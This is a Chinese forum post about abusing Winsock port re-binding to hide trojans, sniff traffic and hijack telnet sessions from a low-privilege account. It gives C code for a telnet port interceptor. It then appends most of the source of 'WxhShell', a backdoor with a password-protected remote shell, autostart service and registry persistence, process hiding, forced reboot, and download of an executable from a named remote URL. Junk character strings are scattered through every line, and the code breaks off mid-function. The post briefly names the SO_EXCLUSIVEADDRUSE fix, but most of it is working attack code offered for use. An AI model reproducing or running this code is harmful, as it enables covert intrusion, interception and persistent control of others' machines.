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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: - -]\z*x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jQ[Z*^"}  
7kb`o y;(^  
  saddr.sin_family = AF_INET; YV2^eGr.  
BkC(9[Ei  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jb*#!m.l  
m4%m0"Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J=Jw"? f  
Y>z(F\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nbYaYL?&  
{b+IDq`)=  
  这意味着什么?意味着可以进行如下的攻击: g_}@/5?y  
G3e%~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^ZV xBQKg  
;Lu}>.t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9\"~G)  
6 HEl1FK{@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0m@S+$v  
!X,S2-}"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .a^/r'?  
A8A+ImwO"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uIba{9tM"P  
RJ-CWt [LG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *}0Q S@FN  
me9RnPe:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %Cr- cR0  
`C=p7 %  
  #include UjfB+=7I{L  
  #include sS0psw1  
  #include X`vDhfh>N  
  #include    )45,~+XX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EZ=M^0=Hpf  
  int main() ?e ~*,6  
  { O35f5Kz  
  WORD wVersionRequested; :3G9YjzC}  
  DWORD ret; 0(..]\p^d  
  WSADATA wsaData; J 5\> 8I,a  
  BOOL val; GC{Ys|s  
  SOCKADDR_IN saddr; Isi ,Tl ^  
  SOCKADDR_IN scaddr; Z-~^)lo  
  int err; kP|!!N  
  SOCKET s; L Y M`  
  SOCKET sc; qa Q  
  int caddsize; n|F`6.G  
  HANDLE mt; .3Ap+V8?  
  DWORD tid;   kBT cN D|  
  wVersionRequested = MAKEWORD( 2, 2 ); j9qN!.~mM  
  err = WSAStartup( wVersionRequested, &wsaData ); b/G0EcRw+  
  if ( err != 0 ) { 9 V;m;sz  
  printf("error!WSAStartup failed!\n"); InDR\=o  
  return -1; XrvrN^'  
  } LD5'4,%-  
  saddr.sin_family = AF_INET; xNONf4I:6J  
   4C2 D wj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WH/a#F  
Ylf6-FbF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hVID~L$  
  saddr.sin_port = htons(23); 5-g02g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FJD*A`a  
  { <>R7G)w F  
  printf("error!socket failed!\n"); Tu"yoF  
  return -1; oNdO@i%.q4  
  } |[V(u  
  val = TRUE; J) (pGS@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EuAa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RXP"v-  
  { N Lo>"<Xb  
  printf("error!setsockopt failed!\n"); k82'gJ;MC=  
  return -1; 0 Hq$h  
  } CUtk4;^y#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  "3v%|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QR#,n@fE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :4A^~+J  
Z]6D0b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Rbl(oj#  
  { ~jPe9  
  ret=GetLastError(); [m"X*Z F  
  printf("error!bind failed!\n"); i.#s'm.9  
  return -1; -8TLnl~[  
  } SQHV gj  
  listen(s,2); `aUA_"f  
  while(1) #(A>yW702  
  { bySw#h_  
  caddsize = sizeof(scaddr); 2vur _`c V  
  //接受连接请求 LPXwfEHOm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3Y8%5/D5  
  if(sc!=INVALID_SOCKET) CR _A{(  
  { QTDI^ZeuF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R{WG>c  
  if(mt==NULL) AvwX 2?tc  
  { N@) D,~  
  printf("Thread Creat Failed!\n"); [`:\(( 8  
  break; ]_ _M*  
  } m/{rmtA4  
  } h;Bol  
  CloseHandle(mt); 4u;W1=+Vn  
  } s5[ Cr"q7B  
  closesocket(s); *AJW8tIP  
  WSACleanup(); M^bujGD  
  return 0; yNqrL?i  
  }   mO\6B7V!  
  DWORD WINAPI ClientThread(LPVOID lpParam) m!PN1$9V  
  { w</kGK[O  
  SOCKET ss = (SOCKET)lpParam; S |B7HS5  
  SOCKET sc; tIRw"sz  
  unsigned char buf[4096]; P!-9cd1 C,  
  SOCKADDR_IN saddr; _[.`QW~  
  long num; b,!h[  
  DWORD val; vm Hf$rq  
  DWORD ret; K/08F|]a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {!<zk+h$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Gz kf  
  saddr.sin_family = AF_INET; 9 Z4H5!:(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P ^D\znvc  
  saddr.sin_port = htons(23); MN#\P1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3vMfms  
  { jPFA\$To  
  printf("error!socket failed!\n"); [aIQ/&Y  
  return -1; v_b%2;<1  
  } 6 s*#y [$  
  val = 100; `i<U;?=0'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _RAPXU~ 6-  
  { []'BrG)!  
  ret = GetLastError(); JH2d+8O:qK  
  return -1; WJl&Vyl2FL  
  } \`x$@s?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 38rC; 6  
  { 9CxU: ;3  
  ret = GetLastError(); X\uN:;?#W{  
  return -1; P0|V1,)  
  } T,5]EHea  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `2}Mz9mk  
  { Z?dz@d%C  
  printf("error!socket connect failed!\n"); f7\$rx  
  closesocket(sc); p'!cGJL  
  closesocket(ss); LKTIwb>  
  return -1; L%Me wU0TZ  
  }  \&"gCv#  
  while(1) C#+Gkzq  
  { a! ]'S4JS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8|HuxE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0]fzjiaGt  
  num = recv(ss,buf,4096,0); >]s|'HTxF  
  if(num>0) [a`89'"z  
  send(sc,buf,num,0); 3Oy?_a$  
  else if(num==0) VPet1hAy  
  break; UXvUU^k"v  
  num = recv(sc,buf,4096,0); Etj@wy/E  
  if(num>0) "sdzm%  
  send(ss,buf,num,0); nd}[X[ay  
  else if(num==0) -X3yCK?re  
  break; JUHmIFjZ  
  } i]Njn k  
  closesocket(ss); N8#wQ*MM>  
  closesocket(sc); OWx-I\:  
  return 0 ; 3rBSwgRl  
  } yb\T< *  
Y23- Im  
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========================================================== K&3,J7&&  
m<}>'D T  
下边附上一个代码,,WXhSHELL \,&,Q  
6V-u<FJ  
========================================================== E^qJ5pr_P  
]{ ^'{z$i  
#include "stdafx.h" '{*{  
jlXzfD T  
#include <stdio.h> H{hd1  
#include <string.h> >}? jOB  
#include <windows.h> ]ie38tX$  
#include <winsock2.h> MkLXMwuQ&  
#include <winsvc.h> -Y>,\VEK  
#include <urlmon.h> CiF(   
6Ft?9 B(F:  
#pragma comment (lib, "Ws2_32.lib") e<A6= }  
#pragma comment (lib, "urlmon.lib") Zaime  
7qsu0 .[d  
#define MAX_USER   100 // 最大客户端连接数 X(Z~oGyg  
#define BUF_SOCK   200 // sock buffer fab. %$  
#define KEY_BUFF   255 // 输入 buffer N> 7sG(!'"  
yxk:5L \A  
#define REBOOT     0   // 重启 X<8?>#  
#define SHUTDOWN   1   // 关机 ty ESDp%  
pmwVVUEQ  
#define DEF_PORT   5000 // 监听端口 \3"jW1Wb  
ZNDn! Sj  
#define REG_LEN     16   // 注册表键长度 P K+rr.k]  
#define SVC_LEN     80   // NT服务名长度 Ah 2*7@U  
U_Jchi,!  
// 从dll定义API k I?+\k\V`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TW?_fse*[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /O[<"Wcz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (n{x"rLy/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zsM2R"[X  
B%7Az!GX  
// wxhshell配置信息 &L[i"1a  
struct WSCFG { !MXn&&e1  
  int ws_port;         // 监听端口 ej,)< *  
  char ws_passstr[REG_LEN]; // 口令 %?`O .W  
  int ws_autoins;       // 安装标记, 1=yes 0=no %g_ )_ ~  
  char ws_regname[REG_LEN]; // 注册表键名 %1oB!+tv  
  char ws_svcname[REG_LEN]; // 服务名 .} O@<t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TTa$wiW7'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oBO4a^D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,xw1B-dx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m]+~F_/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WKAG)4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T095]*Hm  
I q?n*P$  
}; 2U|"]tpM&  
1oc@]0n  
// default Wxhshell configuration 2YDD`:R  
struct WSCFG wscfg={DEF_PORT, "XQ3mi`y  
    "xuhuanlingzhe", (#?O3z1@"  
    1, #iKPp0`K*  
    "Wxhshell", htT9Hrx  
    "Wxhshell", G} f9:G  
            "WxhShell Service", sYhHh$mwA  
    "Wrsky Windows CmdShell Service", c/7}5#Rs  
    "Please Input Your Password: ", )K8 ^}L,  
  1, `_k_}9Fr  
  "http://www.wrsky.com/wxhshell.exe", %+htA0aX  
  "Wxhshell.exe" QQ`tSYgex  
    }; ;Fo7 -kK  
Hu9nJ  
// 消息定义模块 znB+RiV8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; blLl1Ak  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2TG2<wqvE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e*}*3kw)T  
char *msg_ws_ext="\n\rExit."; G4U0|^(h  
char *msg_ws_end="\n\rQuit."; (*M0'5  
char *msg_ws_boot="\n\rReboot..."; W__Y^\ ~  
char *msg_ws_poff="\n\rShutdown..."; Ee_?aG e&  
char *msg_ws_down="\n\rSave to "; pIV |hb!G  
|$;4/cKfy  
char *msg_ws_err="\n\rErr!"; yEMM@5W)8  
char *msg_ws_ok="\n\rOK!"; lN&+<>a  
<ne?;P1L  
char ExeFile[MAX_PATH]; QLU <%w:B  
int nUser = 0; )Tieef*Q~  
HANDLE handles[MAX_USER]; -Bq]E,Xf)  
int OsIsNt; !rs }83w!  
zB`J+r;LU  
SERVICE_STATUS       serviceStatus; +PnuWK$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wy\^}  
*o5[P\'6  
// 函数声明 _k : BY  
int Install(void); ju5o).!bg  
int Uninstall(void); 'gXD?ARW  
int DownloadFile(char *sURL, SOCKET wsh); l-cBN^^  
int Boot(int flag); P* i 'uN  
void HideProc(void); Ie K+  
int GetOsVer(void); GGo ~39G  
int Wxhshell(SOCKET wsl); AOkG.u-k  
void TalkWithClient(void *cs); j D*<M/4  
int CmdShell(SOCKET sock); !Pz#czo  
int StartFromService(void); FA>.1EI  
int StartWxhshell(LPSTR lpCmdLine); dGj0;3FI%  
&^K(9"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -+u}u=z%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7x77s  
|'&$VzA  
// 数据结构和表定义 St(jrZb  
SERVICE_TABLE_ENTRY DispatchTable[] = bI3GI:hp  
{ %sPze]  
{wscfg.ws_svcname, NTServiceMain}, 4DDBf j  
{NULL, NULL} AbhR*  
}; 8ki3>"!A  
qdy(C^(fa  
// 自我安装 l.]wBH#RS  
int Install(void) tBfmjxv  
{ ji>LBbnHdE  
  char svExeFile[MAX_PATH]; )t3`O$J  
  HKEY key; 9BpxbU+L;  
  strcpy(svExeFile,ExeFile); JWaWOk(t=?  
[mQ1r*[j  
// 如果是win9x系统,修改注册表设为自启动 <"6\\#}VG  
if(!OsIsNt) {  DAiS|x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "f<gZsb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wsQ],ZE  
  RegCloseKey(key); oK-d58 sM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z*f%R\u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _&\'Va$  
  RegCloseKey(key); CshME\/  
  return 0; XkkzY5rxOc  
    } :!Dm,PP%  
  } AX%}ip[PC  
} Hc@_@G  
else { !hM`Oe`S  
ja~Dp5  
// 如果是NT以上系统,安装为系统服务 Wu<;QY($5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ykJ+LS{+  
if (schSCManager!=0) M ;b3- i  
{ @[?ZwzY:9  
  SC_HANDLE schService = CreateService t_xK?``  
  ( />}zB![(K  
  schSCManager, uF|_6~g  
  wscfg.ws_svcname, E9>z.vV   
  wscfg.ws_svcdisp, C|Y[T{g?t  
  SERVICE_ALL_ACCESS, +ctU7 rVy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gm,AH85  
  SERVICE_AUTO_START, QEbf]U=  
  SERVICE_ERROR_NORMAL,  !QvmzuK  
  svExeFile, pZeO dh  
  NULL, G/FDD{y  
  NULL, P*?|E@;s`  
  NULL, ?D2a"a$^  
  NULL, l1lYb;C  
  NULL eGg6wd  
  ); \-]tvgA~&  
  if (schService!=0) VpY D/Oj4;  
  { 8<T~AU8'*  
  CloseServiceHandle(schService); %z1^  
  CloseServiceHandle(schSCManager); EV Z1Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;92xSe"Ww  
  strcat(svExeFile,wscfg.ws_svcname); ggrYf*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mF~]P8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^7? WR?!  
  RegCloseKey(key); wMN{9Ce3j  
  return 0; w{dRf!b69  
    } et~D9='E  
  } d7G@Z|R3p  
  CloseServiceHandle(schSCManager); D8u`6/^  
} ogQfzk  
} l4+ `x[^  
&dWGa+e  
return 1; b\H&E{Gn|x  
} ;Wy03}K4J  
W!\%v"  
// 自我卸载 `Rfe*oAf  
int Uninstall(void) ]g;+7  
{ fU ;H  
  HKEY key; <yEApWd;  
~' 955fK>  
if(!OsIsNt) { #[x*0K-h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WxO+cB+?  
  RegDeleteValue(key,wscfg.ws_regname); E:/!]sm!  
  RegCloseKey(key); !e<2o2~.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gt.F[q3  
  RegDeleteValue(key,wscfg.ws_regname); }za pN v  
  RegCloseKey(key); tF-l=ph}`  
  return 0; Rzs u 7w  
  } !LpjTMYs  
} @J 5TDq @  
} Yl'8" \HF  
else { H c>yZ:c;  
6S n&; ap  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h x5M)8#+  
if (schSCManager!=0) 1,OkuyXy!>  
{ <XDnAv0t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `S-l.zSZ4B  
  if (schService!=0) 11#b%dT  
  { s#a`e]#?  
  if(DeleteService(schService)!=0) { 4[kyzz x  
  CloseServiceHandle(schService); DBaZcO(U  
  CloseServiceHandle(schSCManager); %B#T"=Cx  
  return 0; 2(~Zl\  
  } aN*{nW  
  CloseServiceHandle(schService); fB7Jx6   
  } wL:7G  
  CloseServiceHandle(schSCManager); z?Z"*z  
} L;M@]  
} ^J hs/HV  
O#[bNLV  
return 1; BGj!/E  
} ZQKo ]Kdr  
u0=&_Q(=  
// 从指定url下载文件 d6[' [dG  
int DownloadFile(char *sURL, SOCKET wsh) #*y.C[^5{  
{ n!8W@qhew  
  HRESULT hr; yO@1#  
char seps[]= "/"; 4<PupJ  
char *token; J| wk})?  
char *file; wM7 Iu86  
char myURL[MAX_PATH]; EyU6^  
char myFILE[MAX_PATH]; 5+oY c-  
f2o6GC_  
strcpy(myURL,sURL); ND.(N'/O  
  token=strtok(myURL,seps); E24}?t^|  
  while(token!=NULL) 9__Q-J  
  { #m<uG5l`  
    file=token; *3={s"a.(  
  token=strtok(NULL,seps); (X5y%~;V5a  
  } - uO(qUa#  
w<h8`K`3  
GetCurrentDirectory(MAX_PATH,myFILE); Aep](je  
strcat(myFILE, "\\"); T@P~A)>yo  
strcat(myFILE, file); ^["D>@yIR  
  send(wsh,myFILE,strlen(myFILE),0); MxX)&327  
send(wsh,"...",3,0); [9 :9<#?o^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >)*d/^  
  if(hr==S_OK) @Z#h?:  
return 0; a[j]fv*6  
else E'mT%@M OM  
return 1; 1~E4]Ef:W  
BT0;I  
} 8tjWVo  
Ho(}_Q&  
// 系统电源模块 }#E]efjs  
int Boot(int flag) xfX|AC  
{ !UP B4I  
  HANDLE hToken; ZR|s]'  
  TOKEN_PRIVILEGES tkp; ' i5}`\  
N:pP@o  
  if(OsIsNt) { 9+<A7PM1T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @44*<!da  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QALr   
    tkp.PrivilegeCount = 1; y,jpd#Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ! ,H6.IH;S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e~># M $  
if(flag==REBOOT) { 9)=bBQyr:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =I&BO[d  
  return 0; K+L9cv4 |*  
} zZ51jA9x  
else { z,dF Dl$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mkt_pr  
  return 0; KC9VQeSc  
} \f Kn} ]kG  
  } %)dp a  
  else { =1!.g"0  
if(flag==REBOOT) { %Y#W#G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C~.\2D`zy  
  return 0; 5=9Eb  
} bYhG`1,$-a  
else { ?uP5("c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G'wW-|  
  return 0; )`W|J%w+  
} -<T> paE9  
} Y37qjV  
,|zwY~l t5  
return 1; /=#~8  
} &h6 `hP_  
,PKUgL}w  
// win9x进程隐藏模块 s6;ZaU  
void HideProc(void) #!yX2lR  
{ 3a U4Z|f~  
&!'R'{/?X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,%V%g!6{  
  if ( hKernel != NULL ) M#8_Qbvfk  
  { ^foCcO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pA@R,O>zr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pum&\.l  
    FreeLibrary(hKernel); 2Mw`  
  } CA$|3m9)NM  
*Kq;xM6Ck  
return; &f)pU>Di  
} !{g>g%2!  
r=RiuxxTq  
// 获取操作系统版本 s!F8<:FRJD  
int GetOsVer(void) (CYQ>)a  
{ UhU+vy6)/  
  OSVERSIONINFO winfo; 2G:KaQ)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0NvicZ7VR  
  GetVersionEx(&winfo); )U}`x }:,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >oAXS\Ts  
  return 1; /kO%aN  
  else +J42pSxzoo  
  return 0; ojIGfQV  
} @zt"Y~9i  
{HVsRpNEf  
// 客户端句柄模块 qyY/:&E,Z  
int Wxhshell(SOCKET wsl) uCWBM  
{ /|v b)J  
  SOCKET wsh; @'J[T:e  
  struct sockaddr_in client; `w "ooK  
  DWORD myID; P}!pmg6V  
3JF" O+@  
  while(nUser<MAX_USER) rPifiLl A>  
{ ZJjm r,1  
  int nSize=sizeof(client); p%\&M bA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Cv`dK=n>  
  if(wsh==INVALID_SOCKET) return 1; OeQ~g-n  
J b7^'P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h{ EnS5~  
if(handles[nUser]==0) uUv^]B 8GM  
  closesocket(wsh); NV2$ >D  
else }ol<DV  
  nUser++; i)]^b{5nyB  
  } ^/$U(4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~yRKNH*M  
ng[LSB*57Y  
  return 0;  S^5Qhv  
} GM0pHmC  
x^YsXzu  
// 关闭 socket 7wbpQ&1_  
void CloseIt(SOCKET wsh) L^ U.h  
{ |q\Rvt$d  
closesocket(wsh); v 5&8C  
nUser--; AIM<mU  
ExitThread(0); .H86f !=  
} qI2&a$Zb$  
Rw!_j!  
// 客户端请求句柄 9Om3<der  
void TalkWithClient(void *cs) eqU y>  
{ Qf@ha  
VzuU 0  
  SOCKET wsh=(SOCKET)cs; >Qs{LEsLb  
  char pwd[SVC_LEN]; CYhSCT!-?  
  char cmd[KEY_BUFF]; {jEEAH)  
char chr[1]; FBA th !E  
int i,j; rJCu6  
lnrs4s Km  
  while (nUser < MAX_USER) { $1|65j[e  
p{O@ts:  
if(wscfg.ws_passstr) { Lr(My3vF8q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7@!3.u1B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m]ALW0  
  //ZeroMemory(pwd,KEY_BUFF); mFuHZ)iQG  
      i=0; W!b'nRkq  
  while(i<SVC_LEN) { A1aN<!ehB  
{6>:= ?7]R  
  // 设置超时 o? wEX%  
  fd_set FdRead; xbZR/!?  
  struct timeval TimeOut; n,b6|Y0  
  FD_ZERO(&FdRead); 7vB6IF  
  FD_SET(wsh,&FdRead); -dH]_  
  TimeOut.tv_sec=8; :eR\0cn  
  TimeOut.tv_usec=0; TA!6|)BUW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F<Z13]|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZtOv'nTD  
BVxk}#d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D4U<Rn6N_5  
  pwd=chr[0]; Lz`_&&6  
  if(chr[0]==0xd || chr[0]==0xa) { 1<pb=H  
  pwd=0; X;yThb` iI  
  break; g"X!&$ &  
  } -;&-b>b  
  i++; K5(:0Q.5y  
    } )*9,H|2nS  
lQ?_1H~4=  
  // 如果是非法用户,关闭 socket =nG>aAG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mC!^`y)  
} t^g+nguz  
%[k"A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :2AlvjvjZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XOPiwrg%p  
)W!\D/C+  
while(1) { cf*SWKs  
;^  YpQP  
  ZeroMemory(cmd,KEY_BUFF); 6:`4bo  
nF=[m; ~  
      // 自动支持客户端 telnet标准   D]+@pK b  
  j=0; <O~ieJim  
  while(j<KEY_BUFF) { He}"e&K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E&> 2=$~  
  cmd[j]=chr[0]; lO8GnkLE  
  if(chr[0]==0xa || chr[0]==0xd) { D #C\| E:  
  cmd[j]=0; lrK?&a9AB  
  break; X-cP '"  
  } uUh6/=y  
  j++; ,? V YrL  
    } t7,**$ST  
\N)!]jq  
  // 下载文件 4}*V=>z  
  if(strstr(cmd,"http://")) { Bh()?{q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vW5>{  
  if(DownloadFile(cmd,wsh)) "VA'W/yv!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -5,+gakSk  
  else f:ep~5] G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zz-X5PFn  
  } 8FgF6ip  
  else { ``Rg0o  
@Zfg]L{Lr  
    switch(cmd[0]) { `i6q\-12n  
  P$"s*otr  
  // 帮助 3SI%>CO}  
  case '?': { qmq#(%Z <W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8FQNeQr  
    break; +jj] tJ$[  
  } Q,R|VI6Co  
  // 安装 2Kw i4R  
  case 'i': { 2\G[U#~bi  
    if(Install()) 1N+ju"2R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @mEB=X(-l=  
    else $2$jV1s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z<8WN[fB  
    break; h BzZJ/jn  
    } 0B(Y{*QB  
  // 卸载 u\=yY.   
  case 'r': { ~oeX0l>F  
    if(Uninstall()) slV]CXW)t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >%85S>e  
    else f&C]}P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); __ G=xf  
    break; Enqs|fkbN  
    } &P gk$e%>  
  // 显示 wxhshell 所在路径 Y2(,E e2  
  case 'p': { 0#/Pc`z C  
    char svExeFile[MAX_PATH]; OdtS5:L  
    strcpy(svExeFile,"\n\r"); l!%V&HJV  
      strcat(svExeFile,ExeFile); w,zm!  
        send(wsh,svExeFile,strlen(svExeFile),0); >C}KSyV;  
    break; V#V<Kz  
    } [<VyH.  
  // 重启 qino:_g  
  case 'b': { R3E|seR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1yjP`N  
    if(Boot(REBOOT)) S5wkBdr{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H2E'i\  
    else { w/Wd^+I In  
    closesocket(wsh); Z+Ppd=||,  
    ExitThread(0); {-L}YX"Bh  
    } : W0;U  
    break; zc!q a"4yM  
    } 4m6%HV8{}[  
  // 关机 8<Ex`  
  case 'd': { ybpU?n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {AAi x  
